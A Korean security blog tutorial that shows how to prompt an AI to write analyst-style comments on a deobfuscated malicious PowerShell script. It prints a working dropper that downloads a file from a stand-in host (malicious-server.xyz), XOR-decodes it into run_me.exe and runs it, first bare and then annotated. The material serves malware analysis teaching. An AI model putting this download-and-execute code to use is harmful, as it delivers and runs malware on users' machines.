안녕하세요, 효율적인 분석을 추구하는 보안 연구원 여러분! 🕵️♀️
지난 시간까지 우리는 온갖 고생을 해가며 난독화된 스크립트를 잘라내고(Chunking), 쓰레기 코드를 치우고(Cleaning), 꼬인 실타래를 풀어서(Deobfuscation) 드디어 '읽을 수 있는 평문 코드'로 만들었습니다. 🎉
정말 고생 많으셨습니다! 그런데... 막상 코드를 멍하니 바라보고 있자니 또 다른 한숨이 나옵니다.
"하아... 이거 언제 다 읽고 앉아있지? 나중에 다시 볼 때 기억이나 날까?"
코드가 평문이 되었다고 해서 바로 이해가 되는 건 아닙니다. 특히 남이 짠, 그것도 악의적인 의도를 가진 코드는 변수명만 봐서는 전체적인 맥락을 알기 어렵죠. 그래서 우리에겐 '주석(Comment)'이 절실히 필요합니다.
하지만 한 줄 한 줄 분석 내용을 주석으로 다는 건 정말 지루하고 시간 걸리는 일입니다. 이 귀찮은 일을 누구에게 맞기면 좋을까요? 네, 바로 우리의 지칠 줄 모르는 AI 조수입니다! 🤖
오늘은 AI를 활용해 해독된 스크립트에 전문가급의 상세 주석을 자동으로 다는 실습을 진행해보겠습니다. 이 기술을 익히면 여러분의 분석 속도와 가독성은 비약적으로 상승할 것입니다! 🚀

1. 왜 AI에게 주석을 맡겨야 하나요? 🤔
우리가 주석을 다는 이유는 코드가 '무엇(What)'을 하는지가 아니라 '왜(Why)' 그렇게 동작하는지를 기록하기 위함입니다.
- ❌ 나쁜 주석 (문법 설명):
- i++; // i를 1 증가시킨다. (이건 C언어 기초 책이죠. 분석가가 볼 주석이 아닙니다.)
- ✅ 좋은 주석 (의도 설명):
- i++; // 다음 바이트의 복호화를 위해 인덱스를 이동한다. (오! 이게 바로 우리가 원하는 정보입니다.)
우리는 AI에게 프롬프트 엔지니어링을 통해 단순한 문법 번역이 아닌, 분석가의 관점에서 '의도'를 설명하는 고품질 주석을 달도록 지시할 수 있습니다.
2. 핵심 전략: 프롬프트 디자인 (The Art of Prompting) 🎨
AI가 아무렇게나 주석을 달게 하면 안 됩니다. 명확한 지침(Guideline)을 줘야 합니다.
[성공적인 주석 생성을 위한 3가지 원칙]
- 페르소나(Persona) 부여: 그냥 AI가 아니라 '시니어 악성코드 분석가'라고 역할을 줍니다.
- 'Why'에 집중: 코드의 기능보다는 그 코드가 존재하는 목적과 보안적 의미를 설명하라고 지시합니다.
- 위협 표시: 의심스럽거나 위험한 행위(파일 생성, 레지스트리 접근, 네트워크 연결 등)는 이모지(🚨, ⚠️)를 사용해 눈에 띄게 표시하라고 요청합니다.
3. [실습] 난독화 해제된 PowerShell 스크립트에 주석 달기 🛠️
자, 여기 지난 시간에 우리가 힘들게 복구해낸 PowerShell 코드 조각이 있습니다. 깔끔해졌지만, 여전히 한눈에 쏙 들어오진 않습니다.
📄 [Input] 해독된 평문 코드 (Clean Code)
PowerShell
# 난독화가 해제된 상태의 코드
$url_c2 = "http://malicious-server.xyz/payload.enc";
$save_path = "$env:TEMP\update.tmp";
$wc = New-Object Net.WebClient;
$wc.DownloadFile($url_c2, $save_path);
$encrypted_bytes = [IO.File]::ReadAllBytes($save_path);
$key_byte = 0x41;
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
$encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}
[IO.File]::WriteAllBytes("$env:TEMP\run_me.exe", $encrypted_bytes);
Start-Process "$env:TEMP\run_me.exe";
이제 AI(ChatGPT 등)에게 이 코드를 던져주고 멋진 주석을 달아달라고 요청해봅시다.
🗣️ [Prompt] AI에게 명령하기 (템플릿)
[역할] 당신은 사이버 보안 분야에서 10년 이상의 경력을 가진 시니어 악성코드 분석가입니다.
[작업] 아래 제공된 PowerShell 스크립트의 각 라인에 대해 상세한 인라인 주석(Inline Comment, #)을 작성하세요.
[세부 지침]
- 목적 중심: 코드가 '무엇'을 하는지 보다 '왜' 이 코드가 필요한지, 공격자의 의도가 무엇인지를 설명하세요.
- 보안 관점: 단순한 문법 설명은 지양하고, 보안 분석가가 알아야 할 핵심 정보(IoC, TTPs 등)를 주석에 포함하세요.
- 시각적 강조: 위험한 행위(파일 다운로드, 실행, 암호화 해제 등)가 포함된 라인의 주석에는 반드시 경고 이모지(🚨, 💣, ⚠️)를 포함하여 눈에 띄게 하세요.
- 언어: 주석은 한국어로 작성하세요.
[스크립트]
(위의 [Input] 코드를 여기에 붙여넣기)
4. [결과] AI가 작성한 명품 주석 확인 ✨
AI가 명령을 수행하면, 아래와 같이 우리가 원했던 '분석가용 주석'이 달린 코드가 탄생합니다.
PowerShell
# =================================================================
# AI 악성코드 분석 결과 요약
# 이 스크립트는 드로퍼(Dropper) 기능을 수행합니다.
# C2 서버에서 암호화된 파일을 다운로드하고, XOR로 복호화한 뒤 실행합니다.
# =================================================================
$url_c2 = "http://malicious-server.xyz/payload.enc"; # 🚨 [네트워크 IoC] 공격자의 C2 서버 주소 및 추가 페이로드 경로 정의
$save_path = "$env:TEMP\update.tmp"; # 임시 폴더에 다운로드할 파일 경로 설정 (탐지 회피를 위해 임시 폴더 사용)
$wc = New-Object Net.WebClient; # 웹 통신을 위한 .NET WebClient 객체 생성
$wc.DownloadFile($url_c2, $save_path); # ⚠️ [행위] C2 서버로부터 파일 다운로드 수행. (디스크에 파일이 생성됨)
$encrypted_bytes = [IO.File]::ReadAllBytes($save_path); # 다운로드한 파일을 바이트 배열로 메모리에 로드
$key_byte = 0x41; # [복호화 키] 단일 바이트 XOR 키(0x41, 'A') 정의. 하드코딩된 키 사용.
# 🔄 복호화 루프 시작
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
# 💣 [복호화] 각 바이트를 키 값과 XOR 연산하여 페이로드 복호화 수행
$encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}
[IO.File]::WriteAllBytes("$env:TEMP\run_me.exe", $encrypted_bytes); # ⚠️ [파일 생성] 복호화된 데이터를 실행 파일(.exe)로 디스크에 저장
Start-Process "$env:TEMP\run_me.exe"; # 🚨 [실행] 최종 페이로드 실행. 감염이 시작되는 시점.
🔍 무엇이 달라졌나요?
- IoC 식별: $url_c2 옆에 주석으로 이것이 침해 지표(IoC)임을 명시했습니다.
- 위험 행위 강조: 다운로드(⚠️), 복호화(💣), 실행(🚨) 같은 핵심 행위에 이모지가 붙어 시선이 집중됩니다.
- 의도 파악: 단순히 "XOR 한다"가 아니라 "하드코딩된 키를 사용해 페이로드를 복호화한다"는 분석적 내용이 담겼습니다.
이제 이 코드를 동료에게 보여주거나 나중에 다시 열어봐도, 3초 만에 어떤 악성 행위를 하는지 파악할 수 있겠죠? 👍
5. 꿀팁: "주석이 너무 많아요/적어요!" 🍯
AI의 출력 결과가 마음에 들지 않으면 프롬프트를 조금만 수정하면 됩니다.
- 주석이 너무 장황할 때:
- 프롬프트 추가: "주석은 코드 라인당 50자 이내로 간결하게 작성하세요." 또는 "핵심적인 악성 행위 라인에만 주석을 다세요."
- 주석이 너무 부실할 때:
- 프롬프트 추가: "초급 분석가에게 설명한다고 생각하고 최대한 상세하고 친절하게 설명하세요."
🎉 마치며
오늘 우리는 AI를 활용해 '죽어있는 코드'에 '분석가의 통찰력'을 불어넣는 작업을 했습니다.
주석을 다는 것은 귀찮은 일이 아니라, 나의 분석 결과를 기록하고 공유하는 가장 중요한 과정입니다. 이제 그 귀찮은 타자 작업은 AI에게 맡기고, 여러분은 더 창의적이고 깊이 있는 분석에 집중하세요!
다음 시간에는 이렇게 잘 정리된 코드와 주석을 바탕으로, 최종적으로 "악성코드 분석 보고서"를 자동으로 생성하는 끝판왕 실습을 진행하겠습니다. 기대해 주세요! 👋
'일반IT > IT보안' 카테고리의 다른 글
| [이론] C언어 vs 어셈블리어, 완벽 매핑 가이드! 🧩 (리버싱의 기초 체력 다지기) (0) | 2025.12.12 |
|---|---|
| [심화] 실행 버튼 누르지 마세요! 🚫 AI로 악성코드의 미래를 예언하는 법 🔮 (정적 분석의 꽃, 동작 예측) (0) | 2025.12.12 |
| [실습] 꼬불꼬불 라면 사리 같은 '스파게티 코드', AI로 쫙 펴서 평문으로 만들기! 🍜 (제어 흐름 난독화 해제) (1) | 2025.12.11 |
| [실습] 난독화된 코드, AI가 토하지 않게 떠먹여주기! 🥄 (청크 분할 전략) (0) | 2025.12.11 |
| [이론] 해커들의 은신술! 🥷 악성 스크립트 난독화(Obfuscation) 기법 완벽 해부 (0) | 2025.12.11 |